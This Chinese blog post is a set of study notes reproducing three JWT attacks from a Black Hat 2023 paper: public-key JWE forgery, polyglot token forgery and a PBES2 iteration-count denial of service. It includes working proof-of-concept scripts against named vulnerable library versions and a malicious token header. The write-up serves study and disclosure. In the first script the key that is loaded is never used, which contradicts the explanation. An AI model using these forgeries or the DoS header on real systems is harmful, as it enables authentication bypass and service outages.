本文是笔者阅读BLACK HAT-2023中《Three New Attacks Against JSON Web Tokens》这篇paper学习后所写的笔记,涉及到相关的原理知识、3种新的JWT攻击姿势和复现过程。
JWT大家已经非常熟悉了,但是有一些概念上的区别可能大伙不是很了解:
JWE是一个很新的概念,JWS是去验证数据的,而JWE(JSON Web Encryption)是保护数据不被第三方的人看到的。通过JWE,JWT变得更加安全。
JWE和JWS的公钥私钥方案不相同,JWS中,私钥持有者加密令牌,公钥持有者验证令牌。而JWE中,私钥一方应该是唯一可以解密令牌的一方。
在JWE中,公钥持有可以将新的数据放入JWT中,但是JWS中,公钥持有者只能验证数据,不能引入新的数据。因此,对于公钥/私钥的方案而言,JWS和JWE是互补的。
JWE有五部分组成:
格式类似于JWT,只不过有个.
:
eyJhbGciOiJSU0ExXzUiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2In0.
UGhIOguC7IuEvf_NPVaXsGMoLOmwvc1GyqlIKOK1nN94nHPoltGRhWhw7Zx0-kFm1NJn8LE9XShH59_i8J0PH5ZZyNfGy2xGdULU7sHNF6Gp2vPLgNZ__deLKxGHZ7PcHALUzoOegEI-8E66jX2E4zyJKxYxzZIItRzC5hlRirb6Y5Cl_p-ko3YvkkysZIFNPccxRU7qve1WYPxqbb2Yw8kZqa2rMWI5ng8OtvzlV7elprCbuPhcCdZ6XDP0_F8rkXds2vE4X-ncOIM8hAYHHi29NX0mcKiRaD0-D-ljQTPcFPgwCp6X-nZZd9OHBv-B3oWh2TbqmScqXMR4gp_A.
AxY8DCtDaGlsbGljb3RoZQ.
KDlTtXchhZTGufMYmOYGS4HffxPSUrfmqCHXaI9wOGY.
9hH0vgRfYgPnAHOd8stkvw
加密过程如下(读者可以自己查找相关文章):
base64(header) + '.' +base64(encryptedKey) + '.' + // Steps 2 and 3 base64(initializationVector) + '.' + // Step 4 base64(ciphertext) + '.' + // Step 6 base64(authenticationTag) // Step 6
漏洞产生的原因是用非对称加密算法生成JWE对象时,是用公钥来加密,私钥来解密,这导致了任何拥有公钥的人都可以任意发行合法的JWE。RFC并没有规定JWE的生成不允许使用非对称加密算法,这就导致了对密码学不熟悉的开发者可能会使用非对称加密算法生成JWE导致漏洞的出现。此外,下面的情况可能会导致即使开发者并不使用JWE,但仍然会受到这样的攻击:
在这种情况下,攻击者可以做的是使用用于签名的相同公钥来加密一个令牌(即生成JWE)。存在漏洞的库随后会用私钥解密这个 JWE 对象,并认为它是真实的,即使开发人员本来并不打算使用JWE。
这种攻击需要攻击者首先确定正在使用中的公钥。然而公钥并不需要保密,很容易获得,它通常被发布在某处,例如OpenID Connect 端点中。即使公钥没有发布,在使用了某些算法(包括非常常见的 RS256、RS384 和 RS512 选项)的情况下可以从2个不同的签名中获得公钥。利用脚本是SecuraBV/jws2pubkey: jws2pubkey tool。
首先安装存在漏洞的库:
python -m pip install Authlib==1.0.1
在burpsuite上利用jwt editor插件生成一个JWK,放入rsa-key.jwk
中。
并且导出一个rsa_public_key.pem
,作为公钥。
下面的代码是验证代码,都可以从库的文档中找到使用例子 JSON Web Encryption (JWE) - Authlib 1.3.0 documentation:
from authlib.jose import jwt, JsonWebKey,JsonWebEncryption
import sys, json
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as PKCS1_cipher
import base64
def validate(token):
claims = jwt.decode(token, key)
print(claims)
claims.validate()
def get_key(key_file):
with open(key_file) as f:
data = f.read()
key = RSA.importKey(data)
return key
with open('rsa-key.jwk', 'r') as keyfile:
key = JsonWebKey.import_key(json.load(keyfile))
header = {
'alg':'RS256'
}
payload = {
"username":"feng"
}
token1 = jwt.encode(header,payload,key)
print(token1)
print()
##############################
jwe = JsonWebEncryption()
protected = {'alg': 'RSA-OAEP','enc':'A256GCM'}
payload = {
'username':"admin"
}
with open('rsa_public_key.pem', 'rb') as f:
evilKey = f.read()
token2 = jwe.serialize_compact(protected, json.dumps(payload), key)
print(token2)
validate(token2)
第一个jwt的生成利用了私钥,而第二个token2实际上是用公钥生成的JWE,authlib会用私钥解密这个JWE并获取其中的payload,并且validate
函数也验证这个JWT是有效的,实现了伪造。
影响的库(包括但不限于):
Polyglot token攻击实际上是由多个JWT解析器的不一致导致的。
漏洞产生的原因是JWS可以使用三种不同语法表示:紧凑序列化、通用JSON序列化和扁平化JSON序列化。JWT RFC规定只应该使用紧凑序列化(即AAA.BBB.CCC的形式)。然而,许多JWT库出于一些原因将他们的token传递给一个通用的JWS库,并且那个JWS库可能支持更多形式的JWS,这种解析上的差异导致了漏洞的存在,具体看一下例子就可以理解。
在python-jwt
库中,解析JWT是按照.
来分割:
然后使用了jwcrypto
库的deserialize
函数反序列化一个 JWS token,实际上就是在这一步中对jwt反序列并进行验证。然而,jwcrypto
库支持JSON序列化的格式,在不是JSON的情况下才考虑紧凑序列化
这种解析上的差异导致了漏洞,例如程序生成了AAAA.BBBB.CCCC
的JWT,我们可以使用这样的JWT进行攻击:
{
"AAAA":".evilPayload.",
"protected":"AAAA",
"payload":"BBBB",
"signature":"CCCC"
}
对于python-jwt
,他解析到的header是{ "AAAA":"
,payload是evilPayload
(python-jwt不验证签名,签名是由jwcrypto
验证)。在解析header的时候,因为用的是base64url_decode
所以会去掉其他的字符,只剩下AAAA,也就是正常的一个jwt header。jwcrypto验证签名的时候,会忽略掉AAAA
这个键名只考虑protected
、payload
、signature
,从而可以正确验证通过。
验证通过后,后续python-jwt
使用的payload是我们的evilPayload
,因此利用这种解析的差异实现了JWT伪造。
具体验证需要安装python_jwt==3.3.3
:
python -m pip install python_jwt==3.3.3
代码:
import base64
import python_jwt as jwt, jwcrypto.jwk as jwk, datetime
import json
key = jwk.JWK.generate(kty='RSA', size=2048)
priv_pem = key.export_to_pem(private_key=True, password=None)
pub_pem = key.export_to_pem()
payload = { 'username': 'feng'};
priv_key = jwk.JWK.from_pem(priv_pem)
pub_key = jwk.JWK.from_pem(pub_pem)
token = jwt.generate_jwt(payload, priv_key, 'RS256', datetime.timedelta(minutes=60))
splitToken = token.split(".")
header, claims = jwt.verify_jwt(token, pub_key, ['RS256'])
print(token)
print(header)
print(claims)
claims['username'] = 'admin'
base64Payload = base64.b64encode(json.dumps(claims).encode()).decode('utf-8')
evilToken = '{{ "{}":".{}.","protected":"{}","payload":"{}","signature":"{}"}}'.format(splitToken[0],base64Payload,splitToken[0],splitToken[1],splitToken[2])
print("\n\n"+evilToken)
header, claims = jwt.verify_jwt(evilToken, pub_key, ['RS256'])
print(header)
print(claims)
具体evilToken
的构造上因为需要让base64的字节数是4的倍数,因此需要填充对应数量的非base64即可(空格)。此外,在实际构造上我发现evilToken
最好不要带换行,带有换行符可能会造成binascii
的错误。
从运行结果也可以看出,成功的伪造了JWT并且验证通过:
影响的库(包括但不限于):
Billion hashes attack是一种DOS攻击。产生的原因是JWE的加密标准中支持PBES2算法。PBES2算法是基于密码的加密算法,这个密码是人为选择的,为了防止离线字典攻击和暴力破解,PBES2算法加上了一个迭代次数的参数,该参数定义了需要执行多少次连续的加密哈希操作才能将一个密码转换成一个加密的密钥。迭代次数越高,函数变得越慢。
在JWE中,迭代次数是在token header中的p2c定义,攻击者可以将 p2c 设置为一个很高的值导致服务器端执行太多次跌倒导致拒绝服务器攻击。此外,虽然修改p2c会让token验证不通过,但是对于服务端来说,验证token需要先生成PBES2算法的密钥,即先对初始密码和盐进行指定次数的迭代,因此虽然token验证不通过,但是已经实施了攻击。
具体攻击上例如创建这么一个header:
{
"alg": "PBES2-HS512+A256KW",
"p2s": "8Q1SzinasR3xchYz6ZZcHA",
"p2c": 2147483647,
"enc": "A128CBC-HS256"
}
p2c设置为有符号 32 位整数的最大值,然后本地生成一个JWE,发送给服务器上即可造成DOS。
攻击要求:
影响的库(包括但不限于):
mkjwk - JSON Web Key Generator
SecuraBV/jws2pubkey: jws2pubkey tool
JSON Web Encryption (JWE) - Authlib 1.3.0 documentation
JWT、JWE、JWS 、JWK 到底是什么?该用 JWT 还是 JWS?-51CTO.COM
davedoesdev/python-jwt: Python module for generating and verifying JSON Web Tokens
2 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!